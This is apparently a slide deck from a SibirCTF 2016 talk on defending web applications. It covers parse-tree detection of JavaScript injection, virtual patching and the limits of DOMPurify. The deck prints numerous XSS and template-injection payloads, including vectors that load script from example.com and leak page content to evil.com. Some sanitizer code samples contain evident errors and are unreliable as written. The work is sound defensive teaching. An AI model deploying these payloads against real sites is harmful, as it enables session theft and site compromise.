Page 159: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: DOM-based XSS159

http://ex.com/foo.html#1;alert(1);

var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");

<script> var foo = 1;alert(1); <script>

Program

ExpressionStatement

Literal

ExpressionStatement

CallExpression

Identifier

Literal

Page 160: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск вредоносного кода в JavaScript160

Опасные конструкции в простейшем случае задаются перечнем типов узлов ESTree

Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов

Далее в примерах (для простоты изложения) считается, что список ограничен узлами типа CallExpression

Page 161: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск в дереве разбора161

Что делать когда дерево разбора не может быть построено?""};alert(1);var f={t:"

function sanitize(dirty) {var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree;tree = esprima.parse(dirty);estraverse.traverse(tree, {enter: function(node) {

if (node.type === 'CallExpression') {return clean;

}}

});return dirty;

}

Обход дерева (esprima/estraverse)

Page 162: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Модульный парсер Acorn162

function sanitize(dirty) {var acorn = require('acorn'), detected = false, clean = '', tree ;acorn.plugins.detectCallExpression = function(parser) {

parser.extend('finishNode', function(nextMethod) {return function(code, node) {

if(node === 'CallExpression') {detected = true;

}return nextMethod.call(this, code, node);

}})

};

tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});if (detected) {

return clean;}return dirty;

}

Page 163: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Идеальный парсер163

• Написан на JavaScript

• Работает в веб-браузере

• Высокопроизводительный

• Соответствует стандартам (ECMAScript, ESTree)

• Имеет возможность изменять методы разбора

• Возвращает информацию об ошибках

• Может работать в режиме толерантности к ошибкам (error-tolerant parser)

Page 164: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод поиска с левым приведением164

Вход: строка S, контекст CTX

Выход: является ли S инъекцией в контексте CTX?

1. Построить tokens - список JS-токенов s в CTX

2. Построить дерево разбора для S в CTX

3. Если в дереве есть запрещенные узлы, то S – инъекция

4. Иначе удалить из S следующий токен

5. Если S непустая строка, то перейти на шаг 2

Page 165: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением165

nodes = {CallExpression}

s = "});alert(1);var f=({t:"

ctxs = "1

Page 166: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением166

nodes = {CallExpression}

s = "});alert(1);var f=({t:"

ctxs = "

tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}

2

Page 167: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением167

nodes = {CallExpression}

s = "});alert(1);var f=({t:"

ctxs = "

tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}

ctx = ""});alert(1);var f =({t:"

parse(ctx): Unexpected token (1:2)

3

Page 168: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением168

nodes = {CallExpression}

s = "});alert(1);var f=({t:"

ctxs = "

tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}

ctx = });alert(1);var f =({t:"

parse(ctx): Unexpected token (1:0)

4

Page 169: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением169

nodes = {CallExpression}

s = "});alert(1);var f=({t:"

ctxs = "

tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}

ctx = );alert(1);var f =({t:"

parse(ctx): Unexpected token (1:0)

5

Page 170: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением170

nodes = {CallExpression}

s = "});alert(1);var f=({t:"

ctxs = "

tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}

ctx = ;alert(1);var f =({t:"

parse(ctx): Program

6

Page 171: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Поиск с левым приведением171

7Program

EmptyStatement ExpressionStatement

alert

CallExpression

arguments

1

nodes = {CallExpression}ctx = ;alert(1);var f =({t:"

Page 172: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Фрагмент кода172

function sanitize(s){var clean = '';var ctxs = ['', '"', '\''], ctx, tokens, curToken, detected = false;for (var i = 0, len = ctxs.length; i < len; i++) {

ctx = ctxs[i] + s;tokens = getTokens(ctx);curToken = 0;while(ctx.length > 0 && !isInjection) {

try {acorn.parse(ctx, plugins: {detectCallExpression: true}});

}catch(e){}if (detected) return clean;ctx = ctx.substring(tokens[curToken].length);curToken +=1;

}}return s;

};}

Page 173: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Примеры обнаруживаемых векторов173

javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

OSX Message XSS

Client-side Template Injection with AngularJS

Cure53 H5SC Mini Challenge 4[alert(1)]%22})));alert(1)}catch(e){}//

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Page 174: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Примеры обнаруживаемых векторов174

http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");//

Internet Explorer Reflected File Download

Reflected XSS on developer.uber.com via Angular template injection

ES6 alert`1`

https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz

Page 175: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Толерантность к ошибкам175

)},{0:prompt(1Prompt.ml Challenge Hidden Level 4

function escape(input) {// You know the rules and so do Iinput = input.replace(/"/g, '');return '<body onload="think.out.of.the.box(' + input + ')">';

}

return '<body onload="think.out.of.the.box()},{0:prompt(1)">';

"… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"

Page 176: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Толерантность к ошибкам176

nodes = {CallExpression}

s = )},{0:prompt(1Program

ExpressionStatement

SequenceExpression

ObjectExpressionIdentifier

CallExpression

name: x

Page 177: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Минимизация ложных срабатываний 177

Расширенная конфигурация• Классы источников• Контексты для источников и отдельных параметров• Запрещенные узлы ESTree

Реализация дополнительных проверок в модулях Acorn

Предустановленные профили защиты

Тестирование

Page 178: SibirCTF 2016. Практические методы защиты веб-приложений

Виртуальный патчинг

Page 179: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Виртуальный патчинг179

Виртуальный патч – то, что предотвращает использование

обнаруженной уязвимости к атаке

• SAST

• DAST

Особенности• Использование механизма правил, а не сигнатур

• Возможно использование сложных алгоритмов защиты (CSRF, IDOR)

Ryan Barnett. WAF Virtual Patching Challenge.

Page 180: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Как сгенерировать патч180

Знать как не должно быть: необходимые и достаточные условия наличия

уязвимости

Знать как есть: доказать наличие этих условий в анализируемом коде

защищаемого приложения

Устранить хотя бы одно из необходимых условий путем изменения

исходного кода защищаемого приложения

В. Кочетков. Автоматическая генерация патчей для уязвимого исходного кода

Page 181: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Как сгенерировать виртуальный патч181

Знать как не должно быть: необходимые и достаточные условия наличия уязвимости

Знать как есть: доказать наличие этих условий в защищаемом приложении

Сделать невозможным выполнение хотя бы одного из необходимых условий путем изменения запросов к защищаемому приложению

Page 182: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод защиты182

Средствами SAST/DAST выполняется поиск уязвимостей веб-приложения

По найденным уязвимостям создается отчет

Отчет содержит перечень найденных уязвимостей и автоматически сгенерированные эксплоиты

По полученным эксплоитам генерируются сигнатуры и итоговые правила виртуальных патчей

Page 183: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Исходный код183

// page.php<?php$name = $_GET["name"];

?><html><body><div class="user"><?php echo $name; ?>

</div></body>

</html>

Page 184: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Исходный код184

http://example.com/blog/page.php?id=<svg/onload=alert(1)>

Эксплоит

// page.php<?php$id = $_GET["id"];

?><html><body><div class="page"><?php echo $id; ?>

</div></body>

</html>

Page 185: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример отчета185

{"path": "/blog/page.php","source": "/opt/app/www/blog/page.php","type": "XSS","exploit": "\r\nGET /blog/page.php/id=<svg/onload=alert(1)> HTTP/1.1\r\nHost: example.com\r\n","params": {"param": {"src": "REQUEST_GET_ARGS","payload": "<svg/onload=alert(1)>","name": "id","dependencies": {"dependency": [

"%3C","%3E"

]}}}}

Page 186: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример правила186

{"and": [

{"REQUEST_PATH": "/blog/page.php"

},{

"REQUEST_GET_ARGS:id": {"regex": "[<>]"

}}

]}

Page 187: SibirCTF 2016. Практические методы защиты веб-приложений

Адаптация DOMPurify

Page 188: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Виды XSS188

XSS

HTML/DOM

JavaScript

Attribute

URL

Пример

<svg/onload=alert(1)>

");alert(1);//

" onload="alert(1)

javascript:alert(1)

Грамматика

HTML, JavaScript

JavaScript

HTML, JavaScript

URL, JavaScript

Page 189: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

DOMPurify189

"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for

HTML, MathML and SVG"

Адрес проекта

https://github.com/cure53/DOMPurify

Особенности– Точный механизм– Инструмент для разработчиков– Удаление вредоносного и запрещенного кода из HTML/MathML/SVG– Поддерживает механизм хуков

Page 190: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что может DOMPurify190

Предотвращать атаки XSS (в том числе для jQuery)

var dirty = '<a>123<b>456<script>alert(1)<\/script></b></a>789';var policy = {FORBID_TAGS: ['a', 'b']};var clean = DOMPurify.sanitize(dirty, policy);clean; //123456789

var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>';var clean = DOMPurify.sanitize(dirty);clean; // "123<a>I am a dolphin too!</a>"

var dirty = '<a x="1">123<b>456</b></a>';var policy = {FORBID_ATTR: ['x']};var clean = DOMPurify.sanitize(dirty, policy);clean; //"<a>123<b>456</b></a>"

Page 191: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что может DOMPurify191

Предотвращать атаки DOMClobbering

var dirty = '<img src=x name=createElement><img src=y id=createElement>';var clean = DOMPurify.sanitize(dirty);clean; // "<img src="x"><img src="y">"

var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>';var clean = DOMPurify.sanitize(dirty);clean; // "<form><input>123</form>"

var dirty = '<img src=x name=cookie>';var clean = DOMPurify.sanitize(dirty);clean; // "<img src="x">"

Page 192: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что может DOMPurify192

Предотвращать атаки на структуру HTML

var dirty = '<img src="http://evil.com/log.cgi?';var clean = DOMPurify.sanitize(dirty);clean;// ""dirty = '<script src=//14.rs a="';clean = DOMPurify.sanitize(dirty);clean; // ""

Dangling markup injectionhttp://lcamtuf.coredump.cx/postxss/http://blog.innerht.ml/csp-2015/

Page 193: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Особенности DOMPurify193

Изменение входной строки• Изменение порядка атрибутов

• Добавление двойных кавычек

• Добавление закрывающего тега

Если в строке отсутствует символ "<", то DOMPurify ничего не делает

/* Input modification */DOMPurify.sanitize("<svg width=1 height='2'>");// "<svg height="2" width="1"></svg>"

/* DOMPurify does nothing if an input does not contain "<" */DOMPurify.sanitize("alert(1);");// "alert(1);//"

Page 194: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что не может DOMPurify194

Предотвращать JavaScript-инъекции

http://ex.com/foo.html#a';alert(1);//

var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>");

// dirty = "bar';alert(1);//"// clean = "bar';alert(1);//"<script> var foo = 'a';alert(1);//'</script>

Page 195: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что не может DOMPurify195

Предотвращать Attribute-based-инъекции

http://ex.com/foo.html#' onload='alert(1);

var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<img src='pic.jpg' width='" + width + "px'/>");

// dirty = "' onload='alert(1);"// clean = "' onload='alert(1);"<img src='pic.jpg' width='' onload=alert(1);px'/>

Page 196: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что не может DOMPurify196

Предотвращать JavaScript-инъекции в контексте URL

http://ex.com/foo.html#javascript:alert(1);

var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);document.write("<a href='"+clean+"'>Link</a>");

// dirty = "javascript:alert(1)"// clean = "javascript:alert(1)"<a href='javascript:alert(1)'>Link</a>

Page 197: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что не может DOMPurify197

Предотвращать атаки Reverse Clickjacking/SOME

http://ex.com/foo.html#delete_button.click

var dirty = location.hash.slice(1);var clean = DOMPurify.sanitize(dirty);var url = '/re?q=' + clean + '&callback=' + clean + '';var s = document.createElement('script');s.src = url;document.body.appendChild(s);

// dirty = "delete_button.click"// clean = "delete_button.click"<script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');

Page 198: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Адаптация DOMPurify198

function sanitize(s) {var clean = '';DOMPurify.sanitize(s);if (DOMPurify.removed.length > 0)) {

return clean;}return s;

}

ε, dompurify.removed(x) ≠ 0

x, dompurify.removed(x) = 0sanitize(x) =

Page 199: SibirCTF 2016. Практические методы защиты веб-приложений

Материалы

Page 200: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Книги200

Page 201: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Copyrights201

В презентации использованы следующие материалы:

В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?

Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.

А. Петухов. Обзор ограничений современных технологий в области ИБ.

I. Markovic. HTTP Parameter Contamination.

I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.

Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.

D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC.

Page 202: SibirCTF 2016. Практические методы защиты веб-приложений

Спасибо!

ptsecurity.com